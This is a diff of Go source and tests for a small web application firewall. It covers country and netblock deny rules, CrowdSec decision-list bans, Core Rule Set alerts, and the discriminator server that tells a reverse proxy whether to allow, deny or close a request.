wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
||||
})
|
||||
|
||||
for range 3 {
|
||||
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
offences := historyOf(t, server, client).Offences
|
||||
if offences != (ratelimit.Offences{}) {
|
||||
t.Errorf("history counts the offences %+v, want none", offences)
|
||||
}
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics,
|
||||
`sww_core_rule_set_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
||||
wantNoSeries(t, metrics,
|
||||
`sww_offences_total{instance="app",kind="blocked_by_core_rule_set"}`)
|
||||
}
|
||||
|
||||
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
||||
|
||||
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionBlockedByCoreRuleSet)
|
||||
wantCoreRuleSet(t, line, new(5), 942100)
|
||||
|
||||
// It is an offence as in enforce mode.
|
||||
want := ratelimit.Offences{BlockedByCoreRuleSet: 1}
|
||||
if offences := historyOf(t, server, client).Offences; offences != want {
|
||||
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
// status and action are what the request is answered and logged
|
||||
// with, and alertMode what the alert's detail gives as mode, if
|
||||
// anything.
|
||||
status int
|
||||
action, alertMode string
|
||||
}{
|
||||
{
|
||||
"block", map[string]string{wafMode: block},
|
||||
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
|
||||
},
|
||||
{
|
||||
"detect", map[string]string{wafMode: detect},
|
||||
http.StatusOK, requestlog.ActionForward, detect,
|
||||
},
|
||||
{
|
||||
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
||||
http.StatusOK, requestlog.ActionForward, observe,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, _, queue := startWithAlerts(t, tc.env)
|
||||
|
||||
// The second is a repeat, which the cooldown holds back, and an
|
||||
// ordinary request raises none.
|
||||
for range 2 {
|
||||
s.request(client, sqlInjection, tc.status, tc.action)
|
||||
}
|
||||
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
detail := map[string]any{
|
||||
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
||||
"path": sqlInjection,
|
||||
}
|
||||
if tc.alertMode != "" {
|
||||
detail["mode"] = tc.alertMode
|
||||
}
|
||||
|
||||
wantAlerts(t, queue, alerts.Alert{
|
||||
Instance: alertInstance,
|
||||
Time: clk.Now(),
|
||||
Event: alerts.EventCoreRuleSetMatch,
|
||||
Host: appHost,
|
||||
Client: netip.MustParseAddr(client),
|
||||
Netblock: netip.MustParsePrefix(client + "/32"),
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
|
||||
if queue.Suppressed() != 1 {
|
||||
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
||||
// does not hold the client's country as it was looked up. A client without a
|
||||
// country, or whose country cannot be found, is refused. Its figures are the
|
||||
// country and the setting that refused it.
|
||||
type countries struct{}
|
||||
|
||||
func (countries) name() string { return "countries" }
|
||||
|
||||
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
allowed := rq.h.config.ExclusivelyAllowedCountries
|
||||
country := rq.line.Country
|
||||
|
||||
if len(allowed) == 0 || slices.Contains(allowed, country) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionCountryDenied,
|
||||
figures: map[string]any{
|
||||
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// crowdSec refuses a request when a decision of the CrowdSec decision list on
|
||||
// the client is in force at now. It then adds the tag crowdsec, notes the
|
||||
// list, as noteHit does, and bans the client until that decision ends. Its
|
||||
// figures are the decision's scenario and when it ends.
|
||||
type crowdSec struct{}
|
||||
|
||||
func (crowdSec) name() string { return "crowdsec" }
|
||||
|
||||
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
decision, listed := rq.crowdSecDecisionInForce(now)
|
||||
if !listed {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.CrowdSecTag)
|
||||
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
|
||||
"listed by the CrowdSec decision list")
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForCrowdSec(now, decision),
|
||||
figures: map[string]any{
|
||||
"scenario": decision.Scenario,
|
||||
"expires": requestlog.FormatTime(decision.Expires),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
|
||||
// the client that is in force at now, and reports whether there is one, which
|
||||
// the heuristic crowdsec refuses the request for.
|
||||
func (rq *request) crowdSecDecisionInForce(
|
||||
now time.Time,
|
||||
) (reputation.Decision, bool) {
|
||||
return rq.h.lists.CrowdSecDecision(rq.client, now)
|
||||
}
|
||||
@@ -1,197 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The CrowdSec settings, and the tests' engine, which is never asked: each
|
||||
// test puts in the copy of its decision list, at decisionsURL, that it
|
||||
// needs, as reputation.json would at start.
|
||||
const (
|
||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||
lapi = "http://crowdsec.example:8080"
|
||||
decisionsURL = lapi + "/v1/decisions"
|
||||
bouncerKey = "crowdsec-key-0123456789abcdef"
|
||||
)
|
||||
|
||||
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
|
||||
})
|
||||
// client had four hours left on its decision as the engine answered.
|
||||
fetched := clk.Now()
|
||||
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
|
||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
||||
`"value": "`+client+`"}]`)
|
||||
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
|
||||
|
||||
// Its first request is refused, and bans it until the decision ends.
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
wantReputation(t, line, decisionsURL)
|
||||
|
||||
if line.BanExpires != expires {
|
||||
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
||||
}
|
||||
|
||||
listed := []bans.ReputationHit{{Source: decisionsURL}}
|
||||
|
||||
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
|
||||
!held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
|
||||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
|
||||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
|
||||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
|
||||
t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
|
||||
"the request in its notes", held)
|
||||
}
|
||||
|
||||
// The listing raises a reputation_hit alert, and the ban its own.
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
|
||||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
|
||||
!reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
|
||||
expires)) {
|
||||
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
|
||||
waiting)
|
||||
}
|
||||
|
||||
// Each request while the ban lasts is refused under it, as under any
|
||||
// ban, and once it has ended the client is let through.
|
||||
clk.advance(4*time.Hour - time.Second)
|
||||
|
||||
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
wantReputation(t, line)
|
||||
|
||||
if line.BanExpires != expires {
|
||||
t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
|
||||
}
|
||||
|
||||
clk.advance(time.Second)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// The ban and the hit are counted, and the list has the metrics of any
|
||||
// list fetched from a URL.
|
||||
metrics := s.scrape()
|
||||
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
|
||||
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
|
||||
`instance="`+alertInstance+`"}`, 1)
|
||||
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
|
||||
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
||||
wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
|
||||
float64(fetched.Unix()))
|
||||
}
|
||||
|
||||
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, _ := startWithAlerts(t, map[string]string{
|
||||
crowdSecURL: lapi, crowdSecKey: bouncerKey,
|
||||
})
|
||||
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
|
||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
||||
`"value": "`+client+`"}]`)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
|
||||
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
|
||||
wantTags(t, line, "crowdsec")
|
||||
}
|
||||
|
||||
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
crowdSecURL: lapi, crowdSecKey: bouncerKey,
|
||||
})
|
||||
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
|
||||
// answered.
|
||||
fetched := clk.Now()
|
||||
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
|
||||
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
|
||||
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
|
||||
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
|
||||
`"value": "2001:db8::9"}]`)
|
||||
|
||||
// Just before its end, the decision bans a client in the netblock, and
|
||||
// one on an IPv6 address bans the address's group, the /64.
|
||||
clk.advance(time.Minute - time.Nanosecond)
|
||||
s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
// Once it has ended, it bans no other client, and the bans it made end
|
||||
// with it.
|
||||
clk.advance(time.Nanosecond)
|
||||
|
||||
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
|
||||
wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
|
||||
}
|
||||
|
||||
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
|
||||
t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
|
||||
"2001:db8::/64", made)
|
||||
}
|
||||
|
||||
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
|
||||
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
|
||||
}
|
||||
}
|
||||
|
||||
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
|
||||
})
|
||||
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
|
||||
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
|
||||
`"value": "`+client+`"}]`)
|
||||
|
||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||
wantReputation(t, line, decisionsURL)
|
||||
|
||||
if held := server.Ledger.Snapshot(); len(held) != 0 {
|
||||
t.Errorf("bans %+v, want none", held)
|
||||
}
|
||||
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
|
||||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
|
||||
waiting[1].Detail["mode"] != observe {
|
||||
t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
|
||||
"marked observe", waiting)
|
||||
}
|
||||
}
|
||||
|
||||
// loadDecisions puts into server's lists the copy of the decision list at
|
||||
// decisionsURL, answer, the engine's answer, fetched at fetched, as
|
||||
// reputation.json would at start.
|
||||
func loadDecisions(
|
||||
t *testing.T, server *discriminator.Server, fetched time.Time, answer string,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
err := server.Lists.Load([]reputation.List{{
|
||||
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
|
||||
}})
|
||||
if err != nil {
|
||||
t.Fatalf("load the decision list: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
|
||||
// the setting the client is in.
|
||||
type denyNets struct{}
|
||||
|
||||
func (denyNets) name() string { return "deny_nets" }
|
||||
|
||||
func (denyNets) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, netblock := range rq.h.config.DenyNets {
|
||||
if netblock.Contains(rq.client) {
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{figureNetblock: netblock.String()},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,477 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The headers of rproxy's question and of discriminator's answer, as
|
||||
// "discriminator" in SPEC.md gives them.
|
||||
const (
|
||||
// ClientHeader marks a request as rproxy's question, and gives the
|
||||
// visitor's address.
|
||||
ClientHeader = "X-Sww-Client"
|
||||
// PeerHeader gives the address of rproxy's own TCP peer.
|
||||
PeerHeader = "X-Sww-Peer"
|
||||
// ContentLengthHeader gives the body length the visitor announced.
|
||||
ContentLengthHeader = "X-Sww-Content-Length"
|
||||
// DispositionHeader gives discriminator's answer.
|
||||
DispositionHeader = "X-Sww-Disposition"
|
||||
)
|
||||
|
||||
// The values of DispositionHeader.
|
||||
const (
|
||||
// DispositionAllow tells rproxy to pass the request to the app.
|
||||
DispositionAllow = "allow"
|
||||
// DispositionDeny tells rproxy to give the visitor the answer's status,
|
||||
// headers and body.
|
||||
DispositionDeny = "deny"
|
||||
// DispositionClose tells rproxy to close the visitor's connection
|
||||
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
|
||||
// discriminator closing the question's connection instead would read as
|
||||
// discriminator being down, and rproxy would then let the request through.
|
||||
DispositionClose = "close"
|
||||
)
|
||||
|
||||
// ReportPath is where rproxy sends the report of each request discriminator
|
||||
// answered.
|
||||
const ReportPath = "/_sww/report"
|
||||
|
||||
// QuestionBodyMaxBytes is the most of a visitor's body a question carries.
|
||||
const QuestionBodyMaxBytes = 64 << 10
|
||||
|
||||
const (
|
||||
// maxAwaitingReport is the most answered requests held until their
|
||||
// reports come. Past it, the request answered longest ago is dropped.
|
||||
maxAwaitingReport = 10000
|
||||
// maxRequestIDBytes is the longest id a question may give.
|
||||
maxRequestIDBytes = 128
|
||||
// reportBodyMaxBytes is the most of a report's body that is read. It is
|
||||
// far above any report's.
|
||||
reportBodyMaxBytes = 1 << 20
|
||||
// maxHTTPStatus is the highest status a report may give.
|
||||
maxHTTPStatus = 599
|
||||
// maxReportedBytes is the most bytes a report may give for each way, 1
|
||||
// PiB, so that adding them up cannot overflow.
|
||||
maxReportedBytes = 1 << 50
|
||||
// maxReportedMilliseconds is the longest duration a report may give,
|
||||
// about 31 years, so that it fits a time.Duration.
|
||||
maxReportedMilliseconds = 1e12
|
||||
// discriminatorTimeout bounds how long a request to discriminator takes to
|
||||
// arrive, and its answer to leave, and discriminatorIdleTimeout how long a
|
||||
// kept-open connection waits for its next request.
|
||||
discriminatorTimeout = 60 * time.Second
|
||||
discriminatorIdleTimeout = 120 * time.Second
|
||||
)
|
||||
|
||||
var (
|
||||
errReportFieldMissing = errors.New("a field is missing")
|
||||
errReportValue = errors.New("a value is out of range")
|
||||
)
|
||||
|
||||
// Report is the JSON object rproxy posts to ReportPath once the visitor's
|
||||
// answer has ended, its fields named as the request log's of the same
|
||||
// meaning. RequestID is the question's id. Status is what the visitor got, 0
|
||||
// if nothing. The durations are in milliseconds.
|
||||
//
|
||||
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
|
||||
type Report struct {
|
||||
RequestID string `json:"request_id"`
|
||||
Status int `json:"status"`
|
||||
RequestBytes int64 `json:"request_bytes"`
|
||||
ResponseBytes int64 `json:"response_bytes"`
|
||||
DurationTotalMS float64 `json:"duration_total_ms"`
|
||||
DurationUpstreamTotalMS float64 `json:"duration_upstream_total_ms"`
|
||||
}
|
||||
|
||||
// New returns the server `sww discriminator` runs. It answers
|
||||
// rproxy's questions, takes rproxy's reports and answers its own endpoints. It
|
||||
// passes nothing to an app. rproxy applies the size and time limits to the
|
||||
// visitor. Go's default limit on a request's line and headers, 1 MiB, stays: it
|
||||
// is far above rproxy's, and a question refused for its size would have rproxy
|
||||
// let the request through.
|
||||
func New(params Params) *Server {
|
||||
h := newHandler(params)
|
||||
|
||||
return &Server{
|
||||
Server: &http.Server{
|
||||
Addr: params.Config.ListenAddr,
|
||||
Handler: h,
|
||||
ErrorLog: slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn),
|
||||
ReadTimeout: discriminatorTimeout,
|
||||
WriteTimeout: discriminatorTimeout,
|
||||
IdleTimeout: discriminatorIdleTimeout,
|
||||
},
|
||||
Ledger: h.ledger,
|
||||
Limiter: h.limiter,
|
||||
GeoJS: h.geojs,
|
||||
Anomalies: h.anomalies,
|
||||
LookupFile: h.lookupFile,
|
||||
Lists: h.lists,
|
||||
DNSBL: h.dnsbl,
|
||||
AbuseIPDB: h.abuseIPDB,
|
||||
RouteWatch: h.routeWatch,
|
||||
Metrics: h.metrics,
|
||||
}
|
||||
}
|
||||
|
||||
// ServeHTTP handles one request to discriminator: a request carrying
|
||||
// ClientHeader is rproxy's question, and any other is for discriminator
|
||||
// itself.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
if len(r.Header.Values(ClientHeader)) > 0 {
|
||||
h.answerQuestion(w, r)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
h.answerOwnEndpoint(w, r)
|
||||
}
|
||||
|
||||
// refusedWhateverTheAnswer reports whether the request is one that does not wait
|
||||
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
|
||||
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
|
||||
// will refuse it, as a function in that heuristic's file says. In observe mode,
|
||||
// which refuses nothing, none is. rproxy lets a request through when
|
||||
// discriminator answers too late.
|
||||
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
|
||||
if rq.h.config.Observe {
|
||||
return false
|
||||
}
|
||||
|
||||
_, decided := rq.crowdSecDecisionInForce(now)
|
||||
|
||||
return decided || overHeaderLimits(rq.headerCounts()) ||
|
||||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
|
||||
rq.overAWholeRateLimit(now)
|
||||
}
|
||||
|
||||
// answerQuestion runs the checks on the visitor's request a question
|
||||
// carries, and answers rproxy what to do with it. A denied request's counting
|
||||
// is finished here, and an allowed one's by its report.
|
||||
func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
|
||||
client, body, ok := h.readQuestion(w, r)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
|
||||
// One that cannot be read leaves the log line's peer_ip invalid.
|
||||
peer, _ := netip.ParseAddr(r.Header.Get(PeerHeader))
|
||||
|
||||
rq := h.startRequest(w, asTheVisitorSentIt(r, body), client.Unmap(), peer.Unmap(),
|
||||
true)
|
||||
// The last deferred runs first, so that what is held has the finished log
|
||||
// line. Go's server sends the answer only once this function has
|
||||
// returned, so the report cannot come before it is held.
|
||||
defer rq.holdForReport()
|
||||
defer rq.finish()
|
||||
|
||||
rq.site = r.Host
|
||||
rq.line.DiscriminatorLine = requestlog.DiscriminatorLineDecision
|
||||
refused := rq.check(r.Context())
|
||||
rq.checked = time.Now()
|
||||
underOwnPrefix := strings.HasPrefix(r.URL.Path, ownEndpointPrefix)
|
||||
|
||||
if refused == nil && !underOwnPrefix {
|
||||
// In observe mode, what enforce mode would have refused counts here.
|
||||
defer rq.runAfterAnswer(r.Context())
|
||||
|
||||
rq.allow()
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// The last deferred runs first: runAfterAnswer before addToHistory, so that
|
||||
// a broken refusal limit is in the client's history.
|
||||
defer rq.addToHistory()
|
||||
defer rq.countAnomalies()
|
||||
defer rq.runAfterAnswer(r.Context())
|
||||
|
||||
if refused != nil {
|
||||
rq.deny(*refused)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// The app never sees this prefix. discriminator's own endpoints are at its
|
||||
// own address, so this answers as a path with no endpoint does.
|
||||
rq.line.Action = requestlog.ActionOwnEndpoint
|
||||
rq.out.Header().Set(DispositionHeader, DispositionDeny)
|
||||
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
||||
}
|
||||
|
||||
// readQuestion returns the visitor's address and the body a question carries,
|
||||
// and whether discriminator takes the question. It answers a question it does not
|
||||
// take with 400 and no disposition, which rproxy treats as it treats no
|
||||
// answer. The id of a question it takes is held from here on, without a
|
||||
// decision yet, so that another question with that id is refused while this
|
||||
// one is being handled.
|
||||
//
|
||||
// The body is read before any check, since Go's server does not send an answer
|
||||
// until it has read the body. A question whose body stops arriving gets no
|
||||
// answer, and is not looked at.
|
||||
func (h *handler) readQuestion(
|
||||
w http.ResponseWriter, r *http.Request,
|
||||
) (netip.Addr, []byte, bool) {
|
||||
client, err := netip.ParseAddr(r.Header.Get(ClientHeader))
|
||||
if err != nil || client.Zone() != "" {
|
||||
h.refuseQuestion(w, ClientHeader+" is not an address without a zone")
|
||||
|
||||
return netip.Addr{}, nil, false
|
||||
}
|
||||
|
||||
id := r.Header.Get(requestIDHeader)
|
||||
if id == "" || len(id) > maxRequestIDBytes || !utf8.ValidString(id) {
|
||||
h.refuseQuestion(w, requestIDHeader+" is not a valid id")
|
||||
|
||||
return netip.Addr{}, nil, false
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, QuestionBodyMaxBytes))
|
||||
|
||||
if _, tooLarge := errors.AsType[*http.MaxBytesError](err); tooLarge {
|
||||
h.refuseQuestion(w, "the body is over 64 KiB")
|
||||
|
||||
return netip.Addr{}, nil, false
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
h.processLog.Warn("a question's body stopped arriving", "error", err.Error())
|
||||
// This panic has Go's server close the connection without an answer,
|
||||
// and log nothing.
|
||||
panic(http.ErrAbortHandler)
|
||||
}
|
||||
|
||||
held, _ := h.awaitingReport.ContainsOrAdd(id, nil)
|
||||
if held {
|
||||
h.refuseQuestion(w, requestIDHeader+" is the id of a request discriminator holds")
|
||||
|
||||
return netip.Addr{}, nil, false
|
||||
}
|
||||
|
||||
return client, body, true
|
||||
}
|
||||
|
||||
// refuseQuestion answers a question discriminator does not take, for reason.
|
||||
func (h *handler) refuseQuestion(w http.ResponseWriter, reason string) {
|
||||
h.processLog.Warn("a question is refused", "reason", reason)
|
||||
http.Error(w, reason, http.StatusBadRequest)
|
||||
}
|
||||
|
||||
// asTheVisitorSentIt returns a copy of r, a question, as the checks and the
|
||||
// log line are to see it: without the headers rproxy adds for discriminator,
|
||||
// with body, which has been read of r, and with the length the visitor
|
||||
// announced, as -1 when it announced none. The question's own length covers
|
||||
// only the part of the body it carries.
|
||||
func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
|
||||
sent := r.Clone(r.Context())
|
||||
announced := sent.Header.Get(ContentLengthHeader)
|
||||
|
||||
sent.Header.Del(ClientHeader)
|
||||
sent.Header.Del(PeerHeader)
|
||||
sent.Header.Del(ContentLengthHeader)
|
||||
sent.Header.Del("Content-Length")
|
||||
|
||||
sent.ContentLength = -1
|
||||
|
||||
length, err := strconv.ParseInt(announced, 10, 64)
|
||||
if err == nil && length >= 0 {
|
||||
sent.ContentLength = length
|
||||
sent.Header.Set("Content-Length", announced)
|
||||
}
|
||||
|
||||
sent.Body = http.NoBody
|
||||
if len(body) > 0 {
|
||||
sent.Body = io.NopCloser(bytes.NewReader(body))
|
||||
}
|
||||
|
||||
return sent
|
||||
}
|
||||
|
||||
// allow answers a question with DispositionAllow and, while
|
||||
// SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
|
||||
func (rq *request) allow() {
|
||||
rq.allowed = true
|
||||
|
||||
header := rq.out.Header()
|
||||
header.Set(DispositionHeader, DispositionAllow)
|
||||
|
||||
if rq.h.config.AddLookupHeaders {
|
||||
setLookupHeaders(header, rq.line.ASN, rq.line.Country)
|
||||
}
|
||||
|
||||
rq.out.WriteHeader(http.StatusOK)
|
||||
}
|
||||
|
||||
// holdForReport holds a copy of what the report's steps need, by the request's
|
||||
// id. A report only ever reaches that copy, never the request being handled.
|
||||
func (rq *request) holdForReport() {
|
||||
held := rq.decision
|
||||
rq.h.awaitingReport.Add(rq.line.RequestID, &held)
|
||||
}
|
||||
|
||||
// deny answers a question with what the visitor is to get for r.
|
||||
func (rq *request) deny(r refusal) {
|
||||
rq.refused = &r
|
||||
|
||||
if r.status == 0 {
|
||||
// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
|
||||
// status stays 0: the visitor is sent nothing.
|
||||
rq.out.Header().Set(DispositionHeader, DispositionClose)
|
||||
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
rq.out.Header().Set(DispositionHeader, DispositionDeny)
|
||||
http.Error(rq.out, http.StatusText(r.status), r.status)
|
||||
}
|
||||
|
||||
// answerOwnEndpoint answers a request to discriminator's own address. No check
|
||||
// runs on it: the address is on the private network, where the peers are
|
||||
// rproxy and the admin's tools, not visitors.
|
||||
func (h *handler) answerOwnEndpoint(w http.ResponseWriter, r *http.Request) {
|
||||
